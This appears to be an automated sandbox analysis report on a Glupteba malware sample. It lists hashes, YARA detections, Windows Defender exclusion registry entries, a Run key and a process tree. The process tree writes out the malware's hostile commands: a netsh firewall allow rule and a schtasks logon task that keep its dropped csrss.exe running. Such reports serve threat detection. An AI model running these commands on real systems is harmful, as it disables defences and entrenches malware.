Analysis
-
max time kernel
138s -
max time network
145s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
04-06-2022 11:01
Static task
static1
Behavioral task
behavioral1
Sample
10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
Resource
win10v2004-20220414-en
General
-
Target
10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe
-
Size
4.4MB
-
MD5
54a520f5d265e1436948bfac54f97284
-
SHA1
47ac910cec047fc26990a9a20d7955419d547691
-
SHA256
10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0
-
SHA512
a999721d5c3e9e5de1bf6e93f89fc37e8ce22b05241ffe345de7fdca42b9b62fa09287444f5c63c3545a25d006ac9fc2a99a3bf62df3d51d22cc22e418367792
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
-
Glupteba Payload 10 IoCs
Processes:
resource yara_rule behavioral1/memory/1664-56-0x0000000004F60000-0x000000000586A000-memory.dmp family_glupteba behavioral1/memory/1664-57-0x0000000000400000-0x0000000002FCA000-memory.dmp family_glupteba behavioral1/memory/1664-58-0x0000000000400000-0x0000000002FCA000-memory.dmp family_glupteba behavioral1/memory/1664-59-0x0000000000400000-0x0000000002FCA000-memory.dmp family_glupteba behavioral1/memory/748-62-0x0000000000400000-0x0000000002FCA000-memory.dmp family_glupteba behavioral1/memory/748-64-0x0000000000400000-0x0000000002FCA000-memory.dmp family_glupteba behavioral1/memory/748-71-0x0000000000400000-0x0000000002FCA000-memory.dmp family_glupteba behavioral1/memory/1896-74-0x0000000004E00000-0x000000000570A000-memory.dmp family_glupteba behavioral1/memory/1896-75-0x0000000000400000-0x0000000002FCA000-memory.dmp family_glupteba behavioral1/memory/1896-76-0x0000000000400000-0x0000000002FCA000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Processes:
10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\SpringFlower = "0" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe = "0" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe -
Executes dropped EXE 1 IoCs
Processes:
csrss.exepid process 1896 csrss.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Loads dropped DLL 2 IoCs
Processes:
10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exepid process 748 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe 748 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe -
Processes:
10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\SpringFlower = "0" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe = "0" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Windows\CurrentVersion\Run\SpringFlower = "\"C:\\Windows\\rss\\csrss.exe\"" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops file in Windows directory 3 IoCs
Processes:
10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exemakecab.exedescription ioc process File opened for modification C:\Windows\rss 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe File created C:\Windows\rss\csrss.exe 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe File created C:\Windows\Logs\CBS\CbsPersist_20220604152149.cab makecab.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1588 schtasks.exe 1692 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
netsh.exe10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.execsrss.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-422 = "Russian Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time" 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exepid process 1664 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe 748 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exedescription pid process Token: SeDebugPrivilege 1664 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe Token: SeImpersonatePrivilege 1664 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.execmd.exedescription pid process target process PID 748 wrote to memory of 1864 748 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe cmd.exe PID 748 wrote to memory of 1864 748 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe cmd.exe PID 748 wrote to memory of 1864 748 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe cmd.exe PID 748 wrote to memory of 1864 748 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe cmd.exe PID 1864 wrote to memory of 568 1864 cmd.exe netsh.exe PID 1864 wrote to memory of 568 1864 cmd.exe netsh.exe PID 1864 wrote to memory of 568 1864 cmd.exe netsh.exe PID 748 wrote to memory of 1896 748 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe csrss.exe PID 748 wrote to memory of 1896 748 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe csrss.exe PID 748 wrote to memory of 1896 748 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe csrss.exe PID 748 wrote to memory of 1896 748 10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe csrss.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe"C:\Users\Admin\AppData\Local\Temp\10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe"C:\Users\Admin\AppData\Local\Temp\10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0.exe"2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
